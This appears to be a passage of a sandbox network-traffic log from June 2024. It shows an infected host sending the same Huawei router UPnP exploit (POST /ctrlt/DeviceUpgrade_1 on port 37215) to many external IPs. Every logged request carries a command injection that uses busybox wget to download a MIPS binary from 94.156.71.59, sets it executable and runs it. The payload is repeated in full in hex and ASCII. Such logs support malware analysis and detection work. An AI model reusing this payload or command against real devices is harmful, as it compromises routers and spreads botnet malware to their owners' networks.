6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.13	54624	41.205.156.248	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.809844971 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.13	53740	156.100.123.7	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.810750961 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.13	49442	156.234.212.72	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.811819077 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.13	50454	156.192.98.232	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.813306093 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.13	35140	197.255.67.237	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.814855099 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.13	56330	41.242.68.175	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.816370010 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.13	60560	197.136.229.6	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.817518950 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.13	60054	197.80.0.140	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.818643093 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.13	46090	156.21.102.72	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.819947004 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.13	32890	41.59.132.123	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.821238041 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.13	44278	197.207.208.126	37215

Timestamp	Bytes transferred	Direction	Data
